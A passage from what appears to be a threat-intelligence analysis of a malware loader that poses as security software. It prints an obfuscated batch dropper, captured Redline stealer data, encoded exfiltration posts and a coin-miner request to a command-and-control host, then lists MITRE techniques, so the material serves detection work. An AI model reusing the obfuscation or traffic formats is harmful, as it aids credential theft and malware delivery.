+ +``` batch +Set Fx=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ + +%Fx:~18,1%%Fx:~15,1% %computername% == %Fx:~39,1%%Fx:~40,1%%Fx:~54,1%%Fx:~46,1%%Fx:~55,1%%Fx:~50,1%%Fx:~51,1%-%Fx:~52,1%%Fx:~50,1%%Fx:~5,1%%Fx:~52,1%%Fx:~56,1%%Fx:~3,1%%Fx:~3,1% %Fx:~14,1%%Fx:~33,1%%Fx:~18,1%%Fx:~29,1% + +<%Fx:~23,1%%Fx:~30,1%%Fx:~21,1% %Fx:~28,1%%Fx:~14,1%%Fx:~29,1% /%Fx:~25,1% ="%Fx:~48,1%" > %Fx:~28,1%%Fx:~22,1%%Fx:~28,1%%Fx:~28,1%.%Fx:~12,1%%Fx:~24,1%%Fx:~22,1% + +%Fx:~29,1%%Fx:~34,1%%Fx:~25,1%%Fx:~14,1% %Fx:~35,1%%Fx:~56,1%%Fx:~26,1%%Fx:~28,1%.%Fx:~12,1%%Fx:~24,1%%Fx:~22,1% >> %Fx:~28,1%%Fx:~22,1%%Fx:~28,1%%Fx:~28,1%.%Fx:~12,1%%Fx:~24,1%%Fx:~22,1% + +%Fx:~13,1%%Fx:~14,1%%Fx:~21,1% %Fx:~35,1%%Fx:~56,1%%Fx:~26,1%%Fx:~28,1%.%Fx:~12,1%%Fx:~24,1%%Fx:~22,1% + +%Fx:~12,1%%Fx:~14,1%%Fx:~27,1%%Fx:~29,1%%Fx:~30,1%%Fx:~29,1%%Fx:~18,1%%Fx:~21,1% -%Fx:~13,1%%Fx:~14,1%%Fx:~12,1%%Fx:~24,1%%Fx:~13,1%%Fx:~14,1% %Fx:~47,1%%Fx:~61,1%%Fx:~33,1%%Fx:~44,1%%Fx:~51,1%%Fx:~22,1%%Fx:~20,1%%Fx:~21,1%%Fx:~33,1%%Fx:~12,1%.%Fx:~12,1%%Fx:~24,1%%Fx:~22,1% %Fx:~48,1% + +%Fx:~28,1%%Fx:~22,1%%Fx:~28,1%%Fx:~28,1%.%Fx:~12,1%%Fx:~24,1%%Fx:~22,1% %Fx:~48,1% + +%Fx:~25,1%%Fx:~18,1%%Fx:~23,1%%Fx:~16,1% %Fx:~1,1%%Fx:~2,1%%Fx:~7,1%.%Fx:~0,1%.%Fx:~0,1%.%Fx:~1,1% -%Fx:~23,1% %Fx:~3,1% + +``` + +

This also has just changed the header of the PE builder sometimes in removing a part of the magic numbers or all sometimes for avoid to be triggers in the detection rule that push as condition that be a valid PE (fix it in pushing the missing part "M" or "MZ").

+ +
+ +

Autoit script

+ +

The obfuscation rest the same with unused functions and While - Switch condition for getting the shellcode to inject, this can decode the binaries (like Taurus) or just execute another shellcode just decoded in memory.

+ +

Data extraction

+ +

Like said previous many RAT and stealers have been found on this loader.

+ +

RAT Redline (XML) :

+ +```xml + + +01 08 +NL + + + + + +1564575439 +.mozilla.org +true +_gid +/ +false +GA1.2.913472244.1564489040 + +Intel(R) Core(TM) ix CPU @ xGHz +Processor +2 + +Total of RAM +Graphic +3583.61 MB or 3757686784 + + +Mozilla Firefox +C:\Program Files\Mozilla Firefox\firefox.exe +68.0.1 + +Google Chrome +C:\Program Files\Google\Chrome\Application\chrome.exe +75.0.3770.100 + +Internet Explorer +C:\Program Files\Internet Explorer\iexplore.exe +11.00.9600.16428 (winblue_gdr.131013-1700) + +Opera +C:\Program Files\Opera\Opera.exe +1748 + + Adobe Acrobat Reader DC MUI [15.023.20070] + Adobe Flash Player 26 ActiveX [26.0.0.131] + [...] + VLC media player [2.2.6] + WinRAR 5.60 (32-bit) [5.60.0] + + English (United States) + + ID: 392, Name: csrss.exe, CommandLine: + [...] + ID: 1804, Name: RegAsm.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe +English (United States) + + +UNKNOWN +UNKNOWN +UNKNOWN +UNKNOWN +UNKNOWN +UNKNOWN +UNKNOWN +7CAAB55F3C2D7D2AA0AD7BDE756AC65A +IP Victim +false +Location Victim +0001-01-01T00:00:00 +1280x720 +Windows 7 Professional x32 +UNKNOWN +iVBORw0KGgoAAAANSUhEUg ... +UTC+01:00:00 +admin + + +``` + +

Variant Autoit Injector (Base 64 + custom algorithm)

+ +``` +------------------3YI8f9ylk827O44x +Content-Disposition: form-data; name="BRElVD1NTQ==" + +IQomRj5dSxwxBj89HANdNw== +------------------3YI8f9ylk827O44x +Content-Disposition: form-data; name="BRElVCNZVAo=" + +LxcuWCMYfQ4ZJA== +------------------3YI8f9ylk827O44x +Content-Disposition: form-data; name="ExsgVQ==" + +B0x+V3xZDlpYJ2YpF1gJW35yPDUAR11SB1IHTHoGKA5cV1sjM39AV1kOfCZrYlVCXVQHDwZJKgcsC1oOCyBvdw== +------------------3YI8f9ylk827O44x +Content-Disposition: form-data; name="ExsgXytX" + +QwRpOwRWTQoBbQVmUy1XGS1rDRwaVANSGQBXSHkRDmhsTy1lZWFEXn8jMmMlcQd+SlwUAlNBfxEAWgJPTU9mfTJXAF1+AG5mdzE= +------------------3YI8f9ylk827O44x +Content-Disposition: form-data; name="ABc8Xzk=" + +Ug== +------------------3YI8f9ylk827O44x +Content-Disposition: form-data; name="Bw5wRQxe"; filename="LxcuWCMYfQ4ZJA==" +Content-Type: application/octet-stream +``` + +

CoinMiner 1ms0rry Botnet (HTTP)

+ +``` +HTTP/1.1 200 OK +Server: nginx/1.16.1 +Date: xxx +Content-Type: text/html; charset=UTF-8 +Content-Length: 1 +Connection: keep-alive +Set-Cookie: PHPSESSID=da19fc7e571fde73afc839a4b684260f; path=/ +Expires: Thu, 19 Nov 1981 08:52:00 GMT +Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 +Pragma: no-cache +1 + +GET /cmd.php?hwid=C4BA3647 HTTP/1.1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 +Host: cq17178.tmweb.ru +``` + +

Rest a lot of stealer and RAT used, the domain and IP are quickly used in the time for a mass campaign.

+https://urlhaus.abuse.ch/url/407605/ + +

We can note like the initial sample that usurp Malwarebytes solution, this usurps others security solutions or windows programs (here, Internet Explorer). Malwarebytes solution, this usurps others security solutions or windows programs (here, Internet Explorer).

+ +Fake 7SFX Internet Explorer + +

This which will be more like a Loader as the service (LAAS) solution or the same Threat Actor that use it for a mass campaign for resell accounts and leaks on the markets.These targets the individuals and companies with fake software and maldocs.

+ +

All the TTPs match can be consult here.

+ +

The coder of the loader have use quite a few posts posted via russian forums in designing the configuration and script of the SFX archive.

+ + +
+ +
+ +

Cyber kill chain

+

This process graph represent the cyber kill chain used by the attacker.

+ +
+ +

Indicators Of Compromise (IOC)

+

The IOC can be exported in JSON and CSV

+ +

References MITRE ATT&CK Matrix

+ +
+ +|Enterprise tactics|Technics used|Ref URL| +| :---------------: |:-------------| :------------- | +|Execution|Command-Line Interface
Execution through API
Execution through Module Load|https://attack.mitre.org/techniques/T1059
https://attack.mitre.org/techniques/T1106
https://attack.mitre.org/techniques/T1129| +|Persistence|Registry Run Keys / Startup Folder|https://attack.mitre.org/techniques/T1060| +|Defense Evasion|Deobfuscate/Decode Files or Information|https://attack.mitre.org/techniques/T1140| +|Credential Access|Credential Dumping
Credentials in Files|https://attack.mitre.org/techniques/T1003
https://attack.mitre.org/techniques/T1081| +|Discovery|Query Registry
System Information Discovery|https://attack.mitre.org/techniques/T1012
https://attack.mitre.org/techniques/T1082| + +
+ +

This can be exported as JSON format Export in JSON

+ +

Links

+

Original tweet:

+ +

Anyrun Links :

+ +

References:

+